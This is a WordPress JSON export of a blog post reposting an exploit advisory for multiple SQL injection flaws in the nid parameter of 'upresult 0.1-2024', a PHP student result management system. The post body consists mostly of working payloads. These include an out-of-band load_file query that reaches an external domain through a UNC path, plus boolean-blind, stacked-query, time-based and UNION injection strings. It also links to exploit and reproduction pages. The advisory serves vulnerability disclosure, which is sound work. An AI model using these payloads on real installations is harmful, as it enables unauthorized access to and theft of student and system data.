{"id":56129,"date":"2024-04-08T18:50:12","date_gmt":"2024-04-08T14:50:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177979\/upresult012024-sql.txt"},"modified":"2024-04-08T18:50:12","modified_gmt":"2024-04-08T14:50:12","slug":"up-result-0-1-2024-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/up-result-0-1-2024-sql-injection\/","title":{"rendered":"UP-RESULT 0.1 2024 SQL Injection"},"content":{"rendered":"<p>## Title: upresult_0.1-2024 Multiple-SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 04\/08\/2024<br \/>## Vendor: https:\/\/www.mayurik.com\/<br \/>## Software: https:\/\/www.sourcecodester.com\/php\/15653\/best-student-result-management-system-project-source-code-php-and-mysql-free-download<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The nid parameter appears to be vulnerable to SQL injection attacks.<br \/>The payload &#8216;+(select<br \/>load_file(&#8216;\\\\\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\\\tuh&#8217;))+&#8217;<br \/>was submitted in the nid parameter. This payload injects a SQL<br \/>sub-query that calls MySQL&#8217;s load_file function with a UNC file path<br \/>that references a URL on an external domain. The application<br \/>interacted with that domain, indicating that the injected SQL query<br \/>was executed.<br \/>The attacker can get all information from the system by using this<br \/>vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Payload:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: nid (GET)<br \/>Type: boolean-based blind<br \/>Title: AND boolean-based blind &#8211; WHERE or HAVING clause<br \/>Payload: nid=145448807&#8242; or &#8216;1766&#8217;=&#8217;1766&#8242; AND 2997=2997 AND &#8216;IBFU&#8217;=&#8217;IBFU<\/p>\n<p>Type: stacked queries<br \/>Title: MySQL &gt;= 5.0.12 stacked queries (comment)<br \/>Payload: nid=145448807&#8242; or &#8216;1766&#8217;=&#8217;1766&#8242;;SELECT SLEEP(7)#<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: nid=145448807&#8242; or &#8216;1766&#8217;=&#8217;1766&#8242; AND (SELECT 3474 FROM<br \/>(SELECT(SLEEP(7)))eAdm) AND &#8216;ubZR&#8217;=&#8217;ubZR<\/p>\n<p>Type: UNION query<br \/>Title: MySQL UNION query (NULL) &#8211; 4 columns<br \/>Payload: nid=145448807&#8242; or &#8216;1766&#8217;=&#8217;1766&#8242; UNION ALL SELECT<br \/>NULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL#<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/mayuri_k\/2024\/upresult_0.1-2024)<\/p>\n<p>## Proof and Exploit:<br \/>[href](https:\/\/www.nu11secur1ty.com\/2024\/04\/upresult01-2024-multiple-sqli.html)<\/p>\n<p>## Time spent:<br \/>00:15:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: upresult_0.1-2024 Multiple-SQLi## Author: nu11secur1ty## Date: 04\/08\/2024## Vendor: https:\/\/www.mayurik.com\/## Software: https:\/\/www.sourcecodester.com\/php\/15653\/best-student-result-management-system-project-source-code-php-and-mysql-free-download## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The nid parameter appears to be vulnerable to SQL injection attacks.The payload &#8216;+(selectload_file(&#8216;\\\\\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\\\tuh&#8217;))+&#8217;was submitted in the nid parameter. This payload injects a SQLsub-query that calls MySQL&#8217;s load_file function with a UNC file paththat references a URL on an external domain. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56129","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56129"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56129\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56129"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}